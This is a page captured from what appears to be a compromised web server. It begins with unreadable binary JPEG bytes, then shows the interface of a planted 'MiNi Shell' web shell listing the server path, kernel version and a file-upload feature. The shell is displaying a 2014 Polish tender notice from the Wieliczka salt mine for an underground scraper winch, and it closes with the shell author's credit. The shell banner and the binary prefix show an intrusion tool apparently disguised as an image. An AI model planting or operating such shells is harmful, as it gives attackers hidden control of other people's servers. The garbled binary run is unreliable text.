JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20141107/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20141107/234635-N-2014.html

<p class="kh_header"><b>Wieliczka: Dostawa kołowrotu zgarniakowego</b><br>
<b>Numer ogłoszenia: 234635 - 2014; data zamieszczenia: 07.11.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Kopalnia Soli "Wieliczka" Spółka Akcyjna , Park Kingi 1, 32-020 Wieliczka, woj. małopolskie, tel. 12 278711, 012 2787132, faks 02 2787110.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.kopalniawieliczka.eu</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Górnictwo Spółka Akcyjna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa kołowrotu zgarniakowego.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.Przedmiotem zamówienia jest sprzedaż wraz z dostawą 1 sztuki kołowrotu zgarniakowego typu DEKO2-55z lub równoważnego*, dostosowanego do pracy w warunkach podziemnych wyrobisk górniczych, o następujących parametrach:
1)typ silnika elektrycznego DSg-250M4 lub równoważny,*
2)moc silnika elektrycznego min - 55 kW (+/- 10%),
3)obroty - 1465 obr/min (+/- 10%)
4)średnica liny 18 mm,
5)długość liny 200 m,
6)wymiary gabarytowe:
a)długość - nie więcej niż 1540 mm
b)szerokość - nie więcej niż 1785 mm,
c)wysokość - nie więcej niż 1000 mm,
7)masa całkowita - nie więcej niż 3130 kg,
8)typ sieci: sieć trójfazowa IT z izolowanym punktem zerowym transformatora,
9)napięcie zasilające: 500[V],
10)stopień ochrony IP 54
*Wykonawca, który powołuje się na rozwiązania równoważne opisywanym przez zamawiającego, jest obowiązany wykazać, że oferowane przez niego dostawy spełniają wymagania określone przez Zamawiającego.
2.Kołowrót winien posiadać dwa układy dźwigni sterowniczych.
3. Szczególne wymagania dotyczące dostawy kołowrotu zgarniakowego 
3.1.Dostarczony kołowrót zgarniakowy winien:
1)spełniać wymogi dyrektywy 94/9/WE ATEX wdrożonej rozporządzeniem Ministra Gospodarki z dnia 22 grudnia 2005 roku w sprawie zasadniczych wymagań dla urządzeń i systemów ochronnych przeznaczonych do użytku w przestrzeniach zagrożonych wybuchem (Dz. U. z 2005 r. Nr 263 poz. 2203),
2)należeć do grupy I, i co najmniej kategorii M2 w rozumieniu przepisów rozporządzenia, o którym mowa w pkt 1 (urządzenia i systemy ochronne przeznaczone do użytku w zakładach górniczych, w których występuje zagrożenie metanowe),
3)posiadać dokumentację techniczno - ruchową potwierdzającą spełnienie wymagań określonych w pkt .1,
3.2.Na dostarczony kołowrót zgarniakowy zostanie udzielona gwarancja na okres nie krótszy niż 12 miesięcy.
Uwaga: Okres gwarancji  jest jednym z kryteriów oceny ofert.
4.Warunki dostawy kołowrotu zgarniakowego 
4.1.Miejscem dostarczania kołowrotu jest magazyn Zamawiającego.
4.2.Godziny dostawy do Zamawiającego ustala się w dni robocze od poniedziałku do piątku w godz. 6.00 - 14.00.
4.3Wykonawca zobowiązany jest do dostarczenia kołowrotu we własnym zakresie.
4.4.Z dostawą kołowrotu, Wykonawca powinien dostarczyć:
1)	dokumenty gwarancji,
2)	deklarację zgodności z dyrektywą 94/9/WE ATEX, wdrożoną rozporządzeniem Ministra Gospodarki z dnia 
22 grudnia 2005 roku w sprawie zasadniczych wymagań dla urządzeń i systemów ochronnych przeznaczonych do użytku w przestrzeniach zagrożonych wybuchem (Dz. U. z 2005 r. Nr 263 poz. 2203),
3)	dowód wydania wyrobu na zewnątrz WZ lub fakturę Vat,
4)	dokumentację techniczno - ruchową.
5)	certyfikat jakości.

Szczegółowe informacje dotyczące zamówienia i jego realizacji zawarte zostały we wzorze umowy stanowiącym załącznik nr 5  do specyfikacji..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 42.90.00.00-5.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 1.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> 1.Wadium w wysokości: 4 000,00 zł należy wnieść przed upływem terminu składania ofert, określonym w części XVI pkt 2 specyfikacji.
2.Wadium wnoszone w  pieniądzu należy wpłacić przelewem na  rachunek bankowy:
Bank Pekao Spółka Akcyjna Oddział w Wieliczce
Konto: 75124047481111000048778501, z dopiskiem: wadium w sprawie KSW/2014/EL/62
Za termin wniesienia wadium w formie pieniężnej zostanie przyjęty termin uznania rachunku Zamawiającego.
Nie dopuszcza się wpłaty wadium w kasie Kopalni Soli Wieliczka S.A.
3.Wadium wniesione w innej formie niż forma pieniężna (zgodnie z przepisami ustawy Prawo zamówień publicznych) winno być złożone w Sekretariacie Kopalni Soli Wieliczka S.A. przed upływem terminu składania ofert określonym w części XVI pkt 2 SIWZ.
4.Zamawiający dokona zwrotu wadium zgodnie z art. 46 ustawy Prawo zamówień publicznych.
5.Zamawiający zatrzymuje wadium wraz  z odsetkami, jeżeli Wykonawca w odpowiedzi na wezwanie, 
o którym mowa w art. 26 ust. 3 ustawy Prawo zamówień publicznych, nie złożył dokumentów lub oświadczeń, o których mowa w art. 25 ust. 1 ww. ustawy, lub pełnomocnictw, chyba że udowodni, 
że wynika to z przyczyn nie leżących po jego stronie.
6.Zgodnie z art. 46 ust. 5 ustawy Prawo zamówień publicznych, Zamawiający zatrzymuje wadium wraz  z odsetkami, jeżeli Wykonawca, którego oferta została wybrana :
1)odmówił podpisania umowy w sprawie zamówienia publicznego na warunkach określonych w ofercie,
2)zawarcie umowy w sprawie zamówienia publicznego stało się niemożliwe  z przyczyn leżących po stronie Wykonawcy.
7.Wykonawca, który nie wniesie wymaganego wadium do upływu terminu składania ofert, na przedłużony okres związania ofertą lub w terminie, o którym mowa w art. 46 ust. 3 ustawy Prawo zamówień publicznych albo nie zgodzi się na przedłużenie okresu związania ofertą zostanie wykluczony  z postępowania 
o udzielenie zamówienia publicznego na podstawie art. 24 ust. 2 pkt. 2 ustawy - Prawo zamówień publicznych.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>

<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><br><p class="bold">

III.5) INFORMACJA O DOKUMENTACH POTWIERDZAJĄCYCH, ŻE OFEROWANE DOSTAWY, USŁUGI LUB ROBOTY BUDOWLANE ODPOWIADAJĄ OKREŚLONYM WYMAGANIOM</p>
<p class="bold">W zakresie potwierdzenia, że oferowane roboty budowlane, dostawy lub usługi odpowiadają określonym wymaganiom należy przedłożyć:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc">
<li style="margin-bottom: 12px;"><p style="margin: 0px; padding: 0px;">inne dokumenty</p>
<p style="margin: 0px; padding: 0px;">1.Warunki, które musi spełniać przedmiot zamówienia:
- udokumentowanie, iż dostarczany kołowrót zgarniakowy posiada parametry techniczne określone w części II.1.4) pkt 1 niniejszego ogłoszenia.
2.W celu potwierdzenia spełniania wymagań określonych powyżej, do oferty należy dołączyć następujące dokumenty:  
 - dokumentację techniczno - ruchową  oferowanego kołowrotu zgarniakowego.
3.Dokumenty, o których mowa w pkt 2 należy złożyć w formie oryginału lub w formie kopii potwierdzonej za zgodność z oryginałem przez Wykonawcę. Potwierdzenie kopii za zgodność z oryginałem powinno zawierać sformułowanie: Potwierdzam za zgodność z oryginałem, a także imię i nazwisko osoby dokonującej potwierdzenia oraz datę dokonania potwierdzenia. Potwierdzenia winna dokonać osoba (osoby) uprawniona (uprawnione) do reprezentowania Wykonawcy, o której mowa w części XV pkt 3 specyfikacji. Jeżeli potwierdzenia dokonuje pełnomocnik, wówczas do oferty winien być dołączony oryginał pełnomocnictwa lub jego kopia potwierdzona za zgodność z oryginałem przez notariusza.
4.Dokument sporządzony w języku obcym jest składany wraz z tłumaczeniem na język polski.</p></li>



</ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 98</li>
<li>2 - Gwarancja - 2</li>
</ul>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.Zgodnie z przepisem art. 144 ust. 1 ustawy Prawo zamówień publicznych, dopuszcza  się możliwość dokonania istotnych zmian postanowień umowy oraz załączników do umowy, w stosunku do treści oferty, na podstawie której dokonano wyboru Wykonawcy w zakresie, o którym mowa w pkt 2, z wyłączeniem takich zmian, których dokonanie spowodowałoby rozszerzenie przedmiotu umowy poza zakres przedmiotowy oferty, na podstawie której dokonano wyboru Wykonawcy.
2.Dopuszcza się możliwość dokonania istotnych zmian postanowień umowy
oraz załączników do umowy, w stosunku do treści oferty, na podstawie której dokonano wyboru Wykonawcy, w tym między innymi w zakresie przedmiotu umowy, terminu realizacji umowy oraz wysokości należnego Wykonawcy wynagrodzenia, w przypadku zaistnienia którejkolwiek z poniższych przyczyn:
1)przestojów i opóźnień w wykonywaniu przedmiotu umowy, zawinionych przez Zamawiającego,
2)działania siły wyższej,
3)zaistnienia okoliczności niemożliwych do przewidzenia w chwili zawarcia umowy.
3.Zaistnienie przyczyn, wymienionych w pkt 2 nie powoduje powstania u żadnej ze stron  umowy, roszczenia o zmianę umowy.
4.W przypadku zaistnienia, którejkolwiek z przyczyn, wymienionych w ust. 2, każdej ze stron  umowy przysługuje prawo do wystąpienia do drugiej strony o zmianę  umowy. Wystąpienie o dokonanie zmiany winno zawierać:
1)szczegółowy opis przyczyn uzasadniających zmianę umowy, 
2)uzasadnienie dokonania zmiany umowy,
3)projekt zmiany umowy.
5.Wystąpienie, o którym mowa w ust. 4 stanowi podstawę do podjęcia negocjacji w sprawie zmiany umowy.
6.Zmiana umowy oraz załączników do umowy wymaga zachowania formy pisemnej pod rygorem nieważności.
7.Zmian umowy dokonuje się w formie aneksów, którym nadaje się kolejne numery.
8.Zmiana umowy zostaje zawarta w dniu jej podpisania przez obie strony.
9.Przepisy zawarte w powyższych ustępach, nie wykluczają dokonania nieistotnych zmian postanowień  umowy, w rozumieniu art. 144 ustawy Prawo zamówień publicznych a w szczególności dotyczących zmiany nazw stron, danych teleadresowych, itp. Do nieistotnych zmian postanowień niniejszej umowy przepisy pkt 4-8 stosuje się odpowiednio.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.kopalniawieliczka.eu<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Kopalnia Soli Wieliczka Spółka Akcyjna, Park Kingi 1, 32-020 Wieliczka, Dział Zamówień Publicznych, pokój A.9..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 17.11.2014 godzina 12:00, miejsce: Kopalnia Soli Wieliczka Spółka Akcyjna, Park Kingi 1, 32-020 Wieliczka, Sekretariat Zarządu - budynek A, parter..</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com